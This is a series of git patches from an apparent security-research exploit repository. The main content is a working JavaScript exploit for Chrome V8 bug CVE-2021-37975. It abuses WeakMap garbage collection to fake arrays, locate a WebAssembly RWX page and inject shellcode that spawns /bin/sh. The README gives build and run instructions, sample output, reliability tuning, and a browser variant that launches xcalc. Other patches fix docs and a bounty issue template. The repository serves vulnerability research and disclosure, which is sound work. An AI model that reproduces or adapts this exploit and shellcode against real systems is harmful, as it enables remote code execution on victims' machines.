17 00:00:00 2001 From: Xavier RENE-CORAIL Date: Thu, 30 Sep 2021 07:36:37 -0700 Subject: [PATCH 047/140] Update SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/README.md Co-authored-by: intrigus-lgtm <60750685+intrigus-lgtm@users.noreply.github.com> --- .../Chrome/SandboxEscape/CVE-2021-30528/arm/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/README.md b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/README.md index 94e4612..cda562d 100644 --- a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/README.md +++ b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/README.md @@ -1,6 +1,6 @@ ## 32 bit version -The 32 bit version 88.0.4324.181 of Chrome are tested with the following devices: +The 32 bit version 88.0.4324.181 of Chrome is tested with the following devices: 1. Pixel 3a firmware version RQ1A.210205.004 2. Samsung Galaxy A71 firmware version A715FXXU3BUB5 From 225a423e0cdce8aafa9299eef24eae91676a91cb Mon Sep 17 00:00:00 2001 From: Man Yue Mo Date: Fri, 8 Oct 2021 09:05:49 +0100 Subject: [PATCH 048/140] Correct CVE ID --- .../Chrome/v8/{CVE-2021-30623 => CVE-2021-30632}/README.md | 4 ++-- .../Chrome/v8/{CVE-2021-30623 => CVE-2021-30632}/poc.js | 0 2 files changed, 2 insertions(+), 2 deletions(-) rename SecurityExploits/Chrome/v8/{CVE-2021-30623 => CVE-2021-30632}/README.md (96%) rename SecurityExploits/Chrome/v8/{CVE-2021-30623 => CVE-2021-30632}/poc.js (100%) diff --git a/SecurityExploits/Chrome/v8/CVE-2021-30623/README.md b/SecurityExploits/Chrome/v8/CVE-2021-30632/README.md similarity index 96% rename from SecurityExploits/Chrome/v8/CVE-2021-30623/README.md rename to SecurityExploits/Chrome/v8/CVE-2021-30632/README.md index 310d25c..41dbc50 100644 --- a/SecurityExploits/Chrome/v8/CVE-2021-30623/README.md +++ b/SecurityExploits/Chrome/v8/CVE-2021-30632/README.md @@ -1,6 +1,6 @@ -## Chrome in-the-wild bug CVE-2021-30623 +## Chrome in-the-wild bug CVE-2021-30632 -The analysis of this bug can be found [here](https://securitylab.github.com/research/in_the_wild_chrome_cve_2021_30623). This is a Chrome bug that is reported by an anonymous researcher and was believed to be exploited in the wild. +The analysis of this bug can be found [here](https://securitylab.github.com/research/in_the_wild_chrome_cve_2021_30632). This is a Chrome bug that is reported by an anonymous researcher and was believed to be exploited in the wild. The exploit here is tested on `v8` version 9.3.345.16 (commit `632e6e7`), which is the version shipped with Chrome 93.0.4577.63, the one before the bug is fixed, on Ubuntu 20.04. I have not tested it on Chrome itself. diff --git a/SecurityExploits/Chrome/v8/CVE-2021-30623/poc.js b/SecurityExploits/Chrome/v8/CVE-2021-30632/poc.js similarity index 100% rename from SecurityExploits/Chrome/v8/CVE-2021-30623/poc.js rename to SecurityExploits/Chrome/v8/CVE-2021-30632/poc.js From c1022abf7a792e3ef61e8add8e30607415f4e023 Mon Sep 17 00:00:00 2001 From: Man Yue Mo Date: Fri, 8 Oct 2021 09:40:53 +0100 Subject: [PATCH 049/140] Initial commit --- .../Chrome/v8/CVE-2021-37975/README.md | 47 +++ .../Chrome/v8/CVE-2021-37975/poc.js | 285 ++++++++++++++++++ 2 files changed, 332 insertions(+) create mode 100644 SecurityExploits/Chrome/v8/CVE-2021-37975/README.md create mode 100644 SecurityExploits/Chrome/v8/CVE-2021-37975/poc.js diff --git a/SecurityExploits/Chrome/v8/CVE-2021-37975/README.md b/SecurityExploits/Chrome/v8/CVE-2021-37975/README.md new file mode 100644 index 0000000..d72440c --- /dev/null +++ b/SecurityExploits/Chrome/v8/CVE-2021-37975/README.md @@ -0,0 +1,47 @@ +## Chrome in-the-wild bug CVE-2021-37975 + +The analysis of this bug can be found [here](https://securitylab.github.com/research/in_the_wild_chrome_cve_2021_37975). This is a Chrome bug that is reported by an anonymous researcher and was believed to be exploited in the wild. + +The exploit here is tested on `v8` version 9.4.146.16 (commit `452f57b`), which is the version shipped with Chrome 94.0.4606.71, the one before the bug is fixed, on Ubuntu 20.04. Tested on two different devices with different specs. + +To test, check out `v8` at commit `452f57b` and compile with the default settings using `tools/dev/gm.py x64.release`. Then open the file `poc.js` with `d8`: + +``` +./d8 poc.js +``` + +On Ubuntu 20.04, it should call `execve("/bin/sh")` to spawn a new process: + +``` +./d8 poc.js +fail to find object address. +fail to find object address. +fail to find object address. +fetch failed +fail to find object address. +fail to find object address. +fetch failed +fail to find object address. +fail to find object address. +fail to find object address. +fail to find object address. +fail to find object address. +fail to find object address. +fail to find object address. +fail to find object address. +fail to find object address. +fail to find object address. +found instance address: 0x81d40f5 at index: 0 +array address: 0x804294d +array element address: 0x8042935 +fake array at: 8 index: 0 +rwx address at: 0x28c7931bc000 +fake array at: 8 index: 1 +rwx address at: 0x28c7931bc000 +shellArray addr: 0x8048d75 +$ +``` + +Shell code may need changing on other platforms. + +The exploit is not reliable, (probably about 50 percent success rate). The variable `gcSize` may need changing depending on the device, and the variable `mapAddr` also depends on the version of v8 (it is an offset). diff --git a/SecurityExploits/Chrome/v8/CVE-2021-37975/poc.js b/SecurityExploits/Chrome/v8/CVE-2021-37975/poc.js new file mode 100644 index 0000000..da25778 --- /dev/null +++ b/SecurityExploits/Chrome/v8/CVE-2021-37975/poc.js @@ -0,0 +1,285 @@ +function sleep(miliseconds) { + var currentTime = new Date().getTime(); + while (currentTime + miliseconds >= new Date().getTime()) { + } +} + +var initKey = {init : 1}; +var level = 4; +var map1 = new WeakMap(); +var gcSize = 0x4fe00000; + +//Get mapAddr using DebugPrint for double array (the compressed address of the map) +var mapAddr = 0x8203ae1; + +var rwxOffset = 0x60; + +var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]); +var module = new WebAssembly.Module(code); +var instance = new WebAssembly.Instance(module); +var wasmMain = instance.exports.main; + +//Return values should be deleted/out of scope when gc happen, so they are not directly reachable in gc +function hideWeakMap(map, level, initKey) { + let prevMap = map; + let prevKey = initKey; + for (let i = 0; i < level; i++) { + let thisMap = new WeakMap(); + prevMap.set(prevKey, thisMap); + let thisKey = {'h' : i}; + //make thisKey reachable via prevKey + thisMap.set(prevKey, thisKey); + prevMap = thisMap; + prevKey = thisKey; + if (i == level - 1) { + let retMap = new WeakMap(); + map.set(thisKey, retMap); + return thisKey; + } + } +} +//Get the key for the hidden map, the return key is reachable as strong ref via weak maps, but should not be directly reachable when gc happens +function getHiddenKey(map, level, initKey) { + let prevMap = map; + let prevKey = initKey; + for (let i = 0; i < level; i++) { + let thisMap = prevMap.get(prevKey); + let thisKey = thisMap.get(prevKey); + prevMap = thisMap; + prevKey = thisKey; + if (i == level - 1) { + return thisKey; + } + } +} + +function setUpWeakMap(map) { +// for (let i = 0; i < 1000; i++) new Array(300); + //Create deep enough weak ref trees to hiddenMap so it doesn't get discovered by concurrent marking + let hk = hideWeakMap(map, level, initKey); +//Round 1 maps + let hiddenMap = map.get(hk); + let map7 = new WeakMap(); + let map8 = new WeakMap(); + +//hk->k5, k5: discover->wl + let k5 = {k5 : 1}; + let map5 = new WeakMap(); + let k7 = {k7 : 1}; + let k9 = {k9 : 1}; + let k8 = {k8 : 1}; + let ta = new Uint8Array(1024); + ta.fill(0xfe); + let larr = new Array(1 << 15); + larr.fill(1.1); + let v9 = {ta : ta, larr : larr}; + map.set(k7, map7); + map.set(k9, v9); + +//map3 : kb|vb: initial discovery ->wl + hiddenMap.set(k5, map5); + hiddenMap.set(hk, k5); + +//iter2: wl: discover map5, mark v6 (->k5) black, discovery: k5 black -> wl +//iter3: wl: map5 : mark map7, k7, no discovery, iter end + map5.set(hk, k7); + +//Round 2: map5 becomes kb in current, initial state: k7, map7 (black), goes into wl +//iter1 + +//wl discovers map8, and mark k8 black + map7.set(k8, map8); + map7.set(k7, k8); + +//discovery moves k8, map8 into wl +//iter2 marks k9 black, iter finished + map8.set(k8,k9); + +} +var view = new ArrayBuffer(24); +var dblArr = new Float64Array(view); +var intView = new Int32Array(view); +var bigIntView = new BigInt64Array(view); + +function ftoi32(f) { + dblArr[0] = f; + return [intView[0], intView[1]]; +} + +function i32tof(i1, i2) { + intView[0] = i1; + intView[1] = i2; + return dblArr[0]; +} + +function itof(i) { + bigIntView = BigInt(i); + return dblArr[0]; +} + +function ftoi(f) { + dblArr[0] = f; + return bigIntView[0]; +} + +function gc() { + //trigger major GC: See https://tiszka.com/blog/CVE_2021_21225_exploit.html (Trick #2: Triggering Major GC without spraying the heap) + new ArrayBuffer(gcSize); +} + +function restart() { + //Should deopt main if it gets optimized + global.__proto__ = {}; + gc(); + sleep(2000); + main(); +} + +function main() { + setUpWeakMap(map1); + gc(); + + let objArr = []; + + for (let i = 0; i < 200; i++) { + let thisArr = new Array(1 << 15); + objArr.push(thisArr); + } + //These are there to stop main being optimized by JIT + globalIdx['a' + globalIdx] = 1; + let obj = [1.1,1.1,1.1]; + //Can't refactor this, looks like it cause some double rounding problem (got optimized?) + for (let i = 0; i < objArr.length; i++) { + let thisArr = objArr[i]; + thisArr.fill(instance); + } + globalIdx['a' + globalIdx + 1000] = 1; + let result = null; + try { + result = fetch(); + } catch (e) { + console.log("fetch failed"); + restart(); + return; + } + if (!result) { + console.log("fail to find object address."); + restart(); + return; + } + + let larr = result.larr; + let index = result.idx; + + let instanceAddr = ftoi32(larr[index])[0]; + console.log("found instance address: 0x" + instanceAddr.toString(16) + " at index: " + index); + for (let i = 0; i < objArr.length; i++) { + let thisArr = objArr[i]; + thisArr.fill(obj); + } + globalIdx['a' + globalIdx + 2000] = 1; + + let addr = ftoi32(larr[index])[0]; + let objEleAddr = addr - 0x20 + 0x8; + let floatAddr = i32tof(objEleAddr, objEleAddr); + let floatMapAddr = i32tof(mapAddr, mapAddr); + //Faking an array at using obj[0] and obj[1] + obj[0] = floatMapAddr; + let eleLength = i32tof(instanceAddr + rwxOffset, 10); + + obj[1] = eleLength; + + larr[index] = floatAddr; + + console.log("array address: 0x" + addr.toString(16)); + console.log("array element address: 0x" + objEleAddr.toString(16)); + + let rwxAddr = 0; + let objArrIdx = -1; + let thisArrIdx = -1; + for (let i = 0; i < objArr.length; i++) { + globalIdx['a' + globalIdx + 3000] = 1; + global.__proto__ = {}; + let thisArr = objArr[i]; + for (let j = 0; j < thisArr.length; j++) { + let thisObj = thisArr[j]; + if (thisObj != obj) { + console.log("fake array at: " + i + " index: " + j); + objArrIdx = i; + thisArrIdx = j; + if (!(thisObj instanceof Array)) { + console.log("failed getting fake array."); + restart(); + return; + } + rwxAddr = thisObj[0]; + console.log("rwx address at: 0x" + ftoi(rwxAddr).toString(16)); + } + } + } + globalIdx['a' + globalIdx + 4000] = 1; + + if (rwxAddr == 0) { + console.log("failed getting rwx address."); + restart(); + return; + } + + //Read shellArray address + let shellArray = new Uint8Array(100); + let thisArr = objArr[objArrIdx]; + thisArr.fill(shellArray); + + let shellAddr = ftoi32(larr[index])[0]; + console.log("shellArray addr: 0x" + shellAddr.toString(16)); + obj[1] = i32tof(shellAddr + 0x20, 10); + //Place fake array back into objArr[objArrIdx][thisArrIdx] + larr[index] = floatAddr; + let fakeArray = objArr[objArrIdx][thisArrIdx]; + fakeArray[0] = rwxAddr; + var shellCode = [0x31, 0xf6, 0x31, 0xd2, 0x31, 0xc0, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68, 0x56, 0x53, 0x54, 0x5f, 0xb8, 0x3b, 0, 0, 0, 0xf, 0x5]; + for (let i = 0; i < shellCode.length; i++) { + shellArray[i] = shellCode[i]; + } + wasmMain(); +} + +function findTA(ta) { + let found = false; + for (let i = 0; i < 16; i++) { + if (ta[i] != 0xfe) { + console.log(ta[i]); + return true; + } + } + console.log(ta[0]); + return found; +} + +function findLArr(larr) { + for (let i = 0; i < (1 << 15); i++) { + if (larr[i] != 1.1) { + let addr = ftoi32(larr[i]); + return i; + } + } + return -1; +} + +function fetch() { + let hiddenKey = getHiddenKey(map1, level, initKey); + let hiddenMap = map1.get(hiddenKey); + let k7 = hiddenMap.get(hiddenMap.get(hiddenKey)).get(hiddenKey); + let k8 = map1.get(k7).get(k7); + let map8 = map1.get(k7).get(k8); + + let larr = map1.get(map8.get(k8)).larr; + let index = findLArr(larr); + if (index == -1) { + return; + } + return {larr : larr, idx : index}; +} +global = {}; +globalIdx = 0; +main(); From 54ec638ebb178b8df00c65e084c854740a0ab94e Mon Sep 17 00:00:00 2001 From: Man Yue Mo Date: Fri, 8 Oct 2021 11:15:50 +0100 Subject: [PATCH 050/140] Improve parameter --- SecurityExploits/Chrome/v8/CVE-2021-37975/README.md | 4 ++-- SecurityExploits/Chrome/v8/CVE-2021-37975/poc.js | 3 ++- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/SecurityExploits/Chrome/v8/CVE-2021-37975/README.md b/SecurityExploits/Chrome/v8/CVE-2021-37975/README.md index d72440c..37e2581 100644 --- a/SecurityExploits/Chrome/v8/CVE-2021-37975/README.md +++ b/SecurityExploits/Chrome/v8/CVE-2021-37975/README.md @@ -2,7 +2,7 @@ The analysis of this bug can be found [here](https://securitylab.github.com/research/in_the_wild_chrome_cve_2021_37975). This is a Chrome bug that is reported by an anonymous researcher and was believed to be exploited in the wild. -The exploit here is tested on `v8` version 9.4.146.16 (commit `452f57b`), which is the version shipped with Chrome 94.0.4606.71, the one before the bug is fixed, on Ubuntu 20.04. Tested on two different devices with different specs. +The exploit here is tested on `v8` version 9.4.146.16 (commit `452f57b`), which is the version shipped with Chrome 94.0.4606.71, the one before the bug is fixed, on Ubuntu 20.04. Tested on two different desktop devices with different specs. To test, check out `v8` at commit `452f57b` and compile with the default settings using `tools/dev/gm.py x64.release`. Then open the file `poc.js` with `d8`: @@ -44,4 +44,4 @@ $ Shell code may need changing on other platforms. -The exploit is not reliable, (probably about 50 percent success rate). The variable `gcSize` may need changing depending on the device, and the variable `mapAddr` also depends on the version of v8 (it is an offset). +The exploit is not reliable, (probably about 50 percent success rate). The variable `gcSize` may need changing depending on the device, and the variable `mapAddr` also depends on the version of v8 (it is an offset). Changing the variable `sprayParam` may also improve the reliability. The current parameter seems to give reasonable reliability across the two devices tested. diff --git a/SecurityExploits/Chrome/v8/CVE-2021-37975/poc.js b/SecurityExploits/Chrome/v8/CVE-2021-37975/poc.js index da25778..5e8e6a1 100644 --- a/SecurityExploits/Chrome/v8/CVE-2021-37975/poc.js +++ b/SecurityExploits/Chrome/v8/CVE-2021-37975/poc.js @@ -8,6 +8,7 @@ var initKey = {init : 1}; var level = 4; var map1 = new WeakMap(); var gcSize = 0x4fe00000; +var sprayParam = 100; //Get mapAddr using DebugPrint for double array (the compressed address of the map) var mapAddr = 0x8203ae1; @@ -141,7 +142,7 @@ function main() { let objArr = []; - for (let i = 0; i < 200; i++) { + for (let i = 0; i < sprayParam; i++) { let thisArr = new Array(1 << 15); objArr.push(thisArr); } From a6e6e059379e365f5a3cf577cc7dc77363802a20 Mon Sep 17 00:00:00 2001 From: Man Yue Mo Date: Tue, 12 Oct 2021 10:37:57 +0100 Subject: [PATCH 051/140] Improve reliability --- .../Chrome/v8/CVE-2021-37975/poc.js | 71 +++++++++++-------- 1 file changed, 40 insertions(+), 31 deletions(-) diff --git a/SecurityExploits/Chrome/v8/CVE-2021-37975/poc.js b/SecurityExploits/Chrome/v8/CVE-2021-37975/poc.js index 5e8e6a1..132ee1f 100644 --- a/SecurityExploits/Chrome/v8/CVE-2021-37975/poc.js +++ b/SecurityExploits/Chrome/v8/CVE-2021-37975/poc.js @@ -148,7 +148,6 @@ function main() { } //These are there to stop main being optimized by JIT globalIdx['a' + globalIdx] = 1; - let obj = [1.1,1.1,1.1]; //Can't refactor this, looks like it cause some double rounding problem (got optimized?) for (let i = 0; i < objArr.length; i++) { let thisArr = objArr[i]; @@ -173,29 +172,17 @@ function main() { let index = result.idx; let instanceAddr = ftoi32(larr[index])[0]; + let instanceFloatAddr = larr[index]; console.log("found instance address: 0x" + instanceAddr.toString(16) + " at index: " + index); + let x = {}; for (let i = 0; i < objArr.length; i++) { let thisArr = objArr[i]; - thisArr.fill(obj); + thisArr.fill(x); } - globalIdx['a' + globalIdx + 2000] = 1; - - let addr = ftoi32(larr[index])[0]; - let objEleAddr = addr - 0x20 + 0x8; - let floatAddr = i32tof(objEleAddr, objEleAddr); - let floatMapAddr = i32tof(mapAddr, mapAddr); - //Faking an array at using obj[0] and obj[1] - obj[0] = floatMapAddr; - let eleLength = i32tof(instanceAddr + rwxOffset, 10); - - obj[1] = eleLength; - larr[index] = floatAddr; - - console.log("array address: 0x" + addr.toString(16)); - console.log("array element address: 0x" + objEleAddr.toString(16)); + globalIdx['a' + globalIdx + 5000] = 1; - let rwxAddr = 0; + larr[index] = instanceFloatAddr; let objArrIdx = -1; let thisArrIdx = -1; for (let i = 0; i < objArr.length; i++) { @@ -204,21 +191,46 @@ function main() { let thisArr = objArr[i]; for (let j = 0; j < thisArr.length; j++) { let thisObj = thisArr[j]; - if (thisObj != obj) { - console.log("fake array at: " + i + " index: " + j); + if (thisObj == instance) { + console.log("found instance object at: " + i + " index: " + j); objArrIdx = i; thisArrIdx = j; - if (!(thisObj instanceof Array)) { - console.log("failed getting fake array."); - restart(); - return; - } - rwxAddr = thisObj[0]; - console.log("rwx address at: 0x" + ftoi(rwxAddr).toString(16)); } } } globalIdx['a' + globalIdx + 4000] = 1; + if (objArrIdx == -1) { + console.log("failed getting fake object index."); + restart(); + return; + } + let obj = [1.1,1.1,1.1]; + let thisArr = objArr[objArrIdx]; + thisArr.fill(obj); + globalIdx['a' + globalIdx + 2000] = 1; + + let addr = ftoi32(larr[index])[0]; + let objEleAddr = addr + 0x18 + 0x8; + let floatAddr = i32tof(objEleAddr, objEleAddr); + let floatMapAddr = i32tof(mapAddr, mapAddr); + //Faking an array at using obj[0] and obj[1] + obj[0] = floatMapAddr; + let eleLength = i32tof(instanceAddr + rwxOffset, 10); + + obj[1] = eleLength; + + larr[index] = floatAddr; + console.log("array address: 0x" + addr.toString(16)); + console.log("array element address: 0x" + objEleAddr.toString(16)); + let rwxAddr = 0; + let fakeArray = objArr[objArrIdx][thisArrIdx]; + if (!(fakeArray instanceof Array)) { + console.log("fail getting fake array."); + restart(); + return; + } + rwxAddr = fakeArray[0]; + console.log("rwx address at: 0x" + ftoi(rwxAddr).toString(16)); if (rwxAddr == 0) { console.log("failed getting rwx address."); @@ -228,15 +240,12 @@ function main() { //Read shellArray address let shellArray = new Uint8Array(100); - let thisArr = objArr[objArrIdx]; + thisArr = objArr[objArrIdx]; thisArr.fill(shellArray); let shellAddr = ftoi32(larr[index])[0]; console.log("shellArray addr: 0x" + shellAddr.toString(16)); obj[1] = i32tof(shellAddr + 0x20, 10); - //Place fake array back into objArr[objArrIdx][thisArrIdx] - larr[index] = floatAddr; - let fakeArray = objArr[objArrIdx][thisArrIdx]; fakeArray[0] = rwxAddr; var shellCode = [0x31, 0xf6, 0x31, 0xd2, 0x31, 0xc0, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68, 0x56, 0x53, 0x54, 0x5f, 0xb8, 0x3b, 0, 0, 0, 0xf, 0x5]; for (let i = 0; i < shellCode.length; i++) { From 6dfd8325477c3eddbe719ff4060bd638a3212620 Mon Sep 17 00:00:00 2001 From: Man Yue Mo Date: Wed, 13 Oct 2021 13:15:50 +0100 Subject: [PATCH 052/140] Add Chrome poc --- .../Chrome/v8/CVE-2021-37975/README.md | 57 ++- .../v8/CVE-2021-37975/chrome_poc_child.html | 360 ++++++++++++++++++ .../v8/CVE-2021-37975/chrome_poc_parent.html | 59 +++ 3 files changed, 473 insertions(+), 3 deletions(-) create mode 100644 SecurityExploits/Chrome/v8/CVE-2021-37975/chrome_poc_child.html create mode 100644 SecurityExploits/Chrome/v8/CVE-2021-37975/chrome_poc_parent.html diff --git a/SecurityExploits/Chrome/v8/CVE-2021-37975/README.md b/SecurityExploits/Chrome/v8/CVE-2021-37975/README.md index 37e2581..f292502 100644 --- a/SecurityExploits/Chrome/v8/CVE-2021-37975/README.md +++ b/SecurityExploits/Chrome/v8/CVE-2021-37975/README.md @@ -2,7 +2,7 @@ The analysis of this bug can be found [here](https://securitylab.github.com/research/in_the_wild_chrome_cve_2021_37975). This is a Chrome bug that is reported by an anonymous researcher and was believed to be exploited in the wild. -The exploit here is tested on `v8` version 9.4.146.16 (commit `452f57b`), which is the version shipped with Chrome 94.0.4606.71, the one before the bug is fixed, on Ubuntu 20.04. Tested on two different desktop devices with different specs. +The exploit `poc.js` is tested on `v8` version 9.4.146.16 (commit `452f57b`), which is the version shipped with Chrome 94.0.4606.61, the one before the bug was fixed, on Ubuntu 20.04. It is tested on two different desktop devices with different specs. To test, check out `v8` at commit `452f57b` and compile with the default settings using `tools/dev/gm.py x64.release`. Then open the file `poc.js` with `d8`: @@ -42,6 +42,57 @@ shellArray addr: 0x8048d75 $ ``` -Shell code may need changing on other platforms. +Shell code and some offsets may need changing on other platforms. -The exploit is not reliable, (probably about 50 percent success rate). The variable `gcSize` may need changing depending on the device, and the variable `mapAddr` also depends on the version of v8 (it is an offset). Changing the variable `sprayParam` may also improve the reliability. The current parameter seems to give reasonable reliability across the two devices tested. +The exploit is fairly reliable, (> 80% success rate on the two tested devices). The variable `gcSize` may need changing depending on the device, and the variable `mapAddr` also depends on the version of v8 (it is an offset). Changing the variable `sprayParam` may also improve the reliability. The current parameter seems to give reasonable reliability across the two devices tested. The `gcSize` parameter should be ok for desktop devices, but may need changing for devices with low memory (e.g. mobile) + +The Chrome poc are the files `chrome_poc_parent.html` and `chrome_poc_child.html`. It is tested with Linux build 94.0.4606.61 (commit `c3f0a75`) on Ubuntu 20.04, with the following parameters: + +``` +is_debug = false +symbol_level = 2 +blink_symbol_level = 2 +dcheck_always_on = false +is_official_build = true +chrome_pgo_phase = 0 +``` + +To build this, I have to comment out part of a script `chrome/browser/resources/tools/optimize_webui.py` to fix the build: + +``` +@@ -178,16 +178,16 @@ def _bundle_v3(tmp_out_dir, in_path, out_path, manifest_out_path, args, + manifest_out_path) + assert len(generated_paths) == len(bundled_paths), \ + 'unexpected number of bundles - %s - generated by rollup' % \ + (len(generated_paths)) + +- for bundled_file in bundled_paths: +- with open(bundled_file, 'r') as f: +- output = f.read() +- assert " found in bundled output. Check that all ' + \ +- 'input files using such expressions are preprocessed.' ++# for bundled_file in bundled_paths: ++# with open(bundled_file, 'r') as f: ++# output = f.read() ++# assert " found in bundled output. Check that all ' + \ ++# 'input files using such expressions are preprocessed.' + + return bundled_paths + + def _optimize(in_folder, args): + in_path = os.path.normpath(os.path.join(_CWD, in_folder)).replace('\\', '/') +``` + +This part seems to be doing some sanity checks of some generated config files related to webui, so I don't expect it to affect the exploit. + +The Chrome exploit should be 100% reliable by using different origin `iframe` to avoid crashing the parent frame. (Idea similar to the one in "Making a Stealth Exploit by abusing Chrome's Site Isolation" in [this article](https://blog.exodusintel.com/2019/01/22/exploiting-the-magellan-bug-on-64-bit-chrome-desktop/?fbclid=IwAR0WiWjsUnun8AuipENIUCMwTvWl35I7rAgsTflQTecmazElNoCAYvm0BsA) of Ki Chan Ahn, but on a smaller scale) The parent frame will reset the child frame every 5 seconds and change its origin to make sure it starts fresh, during which it'll print out `resetChild` on the page. It should not take too many attempts to succeed and will pop `xcalc` on Ubuntu. To test it, host these pages at `127.0.0.1`, `127.0.0.2` and `127.0.0.3`: + +``` +python3 -m http.server --bind 127.0.0.1 +python3 -m http.server --bind 127.0.0.2 +python3 -m http.server --bind 127.0.0.3 +``` + +Then open `localhost:8000/chrome_poc_parent.html` on Chrome built with the above instructions and wait. It should pop `xcalc` within a few trials. diff --git a/SecurityExploits/Chrome/v8/CVE-2021-37975/chrome_poc_child.html b/SecurityExploits/Chrome/v8/CVE-2021-37975/chrome_poc_child.html new file mode 100644 index 0000000..f628451 --- /dev/null +++ b/SecurityExploits/Chrome/v8/CVE-2021-37975/chrome_poc_child.html @@ -0,0 +1,360 @@ + + + + + + + diff --git a/SecurityExploits/Chrome/v8/CVE-2021-37975/chrome_poc_parent.html b/SecurityExploits/Chrome/v8/CVE-2021-37975/chrome_poc_parent.html new file mode 100644 index 0000000..14ddf95 --- /dev/null +++ b/SecurityExploits/Chrome/v8/CVE-2021-37975/chrome_poc_parent.html @@ -0,0 +1,59 @@ + + + + + +
+ + From a24ee03309a26a6f4d00e1aedadf1991c3963733 Mon Sep 17 00:00:00 2001 From: Man Yue Mo Date: Wed, 13 Oct 2021 13:18:00 +0100 Subject: [PATCH 053/140] Add --no-sandbox flag instruction to README --- SecurityExploits/Chrome/v8/CVE-2021-37975/README.md | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/SecurityExploits/Chrome/v8/CVE-2021-37975/README.md b/SecurityExploits/Chrome/v8/CVE-2021-37975/README.md index f292502..dc51c70 100644 --- a/SecurityExploits/Chrome/v8/CVE-2021-37975/README.md +++ b/SecurityExploits/Chrome/v8/CVE-2021-37975/README.md @@ -94,5 +94,10 @@ python3 -m http.server --bind 127.0.0.1 python3 -m http.server --bind 127.0.0.2 python3 -m http.server --bind 127.0.0.3 ``` +Then launch Chrome built with the above instructions with the `--no-sandbox` flag: -Then open `localhost:8000/chrome_poc_parent.html` on Chrome built with the above instructions and wait. It should pop `xcalc` within a few trials. +``` +./chrome --user-data-dir=/tmp/chromium_data --no-sandbox +``` + +Then open `localhost:8000/chrome_poc_parent.html` and wait. It should pop `xcalc` within a few trials. From dcba9ace29800c421aace26dbcf0eb55e3697d0a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Alvaro=20Mu=C3=B1oz=20Sanchez?= Date: Mon, 8 Nov 2021 11:35:49 +0100 Subject: [PATCH 054/140] port all-for-one template to issue forms --- .github/ISSUE_TEMPLATE/all-for-one.md | 103 +++++++++++++++++++------- 1 file changed, 76 insertions(+), 27 deletions(-) diff --git a/.github/ISSUE_TEMPLATE/all-for-one.md b/.github/ISSUE_TEMPLATE/all-for-one.md index e6b8580..a4379ac 100644 --- a/.github/ISSUE_TEMPLATE/all-for-one.md +++ b/.github/ISSUE_TEMPLATE/all-for-one.md @@ -1,32 +1,81 @@ ---- name: All for One, One For All bounty submission -about: Submit a CodeQL query for the All For One, One For All bounty (https://securitylab.github.com/bounties) -title: "[USERNAME]: [SUMMARY]" -labels: All For One -assignees: '' +description: Submit a CodeQL query for the All For One, One For All bounty (https://securitylab.github.com/bounties) +title: "[]: " +labels: [All For One] +body: + - type: markdown + attributes: + value: | + # Introduction ---- + Thank you for submitting a query to the GitHub CodeQL project! -## Query + After you submit this issue, the GitHub Security Lab and CodeQL teams will triage the submission and, if it meets the Query Bounty Program requirements, we will grant you a bounty through our HackerOne program. -*Link to pull request with your CodeQL query:* + Please make sure to carefully read the [bounty program description and conditions](https://securitylab.github.com/bounties/) -Relevant PR: https://github.com/github/codeql/pull/nnnn - -## CVE ID(s) - -*List the CVE ID(s) associated with this vulnerability. GitHub will automatically link CVE IDs to the [GitHub Advisory Database](https://github.com/advisories).* - -- CVE-20nn-nnnnn - -## Report - -*Describe the vulnerability. Provide any information you think will help GitHub assess the impact your query has on the open source community.* - -- [ ] Are you planning to discuss this vulnerability submission publicly? (Blog Post, social networks, etc). *We would love to have you spread the word about the good work you are doing* - -## Result(s) - -*Provide at least one useful result found by your query, on some revision of a real project.* - -- [description](url) + # Questionnaire + - type: input + id: pr_url + attributes: + label: Query PR + description: Link to pull request with your CodeQL query + placeholder: ex. https://github.com/github/codeql/pull/nnnn + validations: + required: true + - type: dropdown + id: language + attributes: + label: Language + description: What programming language is your query written for? + options: + - Java + - Javascript + - GoLang + - Python + - C/C++ + - C# + validations: + required: true + - type: input + id: cwe + attributes: + label: CWE + description: CWE that best fits the vulnerability class modeled with your query + placeholder: ex. CWE-502: Deserialization of Untrusted Data + validations: + required: false + - type: textarea + id: cve_ids + attributes: + label: CVE(s) ID list + description: Enter a list of the CVE ID(s) associated with this query, one bullet for each distinct CVE. GitHub will automatically link CVE IDs to the [GitHub Advisory Database](https://github.com/advisories). + placeholder: | + ex. + - CVE-20nn-xxxx + - CVE-20nn-yyyy + validations: + required: true + - type: textarea + id: report + attributes: + label: Report + description: Describe the vulnerability. Provide any information you think will help GitHub assess the impact your query has on the open source community. + validations: + required: true + - type: checkboxes + id: publish + attributes: + options: + - label: Are you planning to discuss this vulnerability submission publicly? (Blog Post, social networks, etc). *We would love to have you spread the word about the good work you are doing* + - type: textarea + id: results + attributes: + label: Result(s) + description: Provide at least one useful result found by your query, on some revision of a real project. One bullet for each distinct result. + placeholder: | + ex. + - [project1](url1) + - [project2](url2) + validations: + required: true From 2d1da11d21babc65e06d57bda4d99503188a6ffe Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Alvaro=20Mu=C3=B1oz=20Sanchez?= Date: Mon, 8 Nov 2021 11:47:20 +0100 Subject: [PATCH 055/140] Update form --- .github/ISSUE_TEMPLATE/all-for-one.md | 42 +++++++++++++++------------ 1 file changed, 24 insertions(+), 18 deletions(-) diff --git 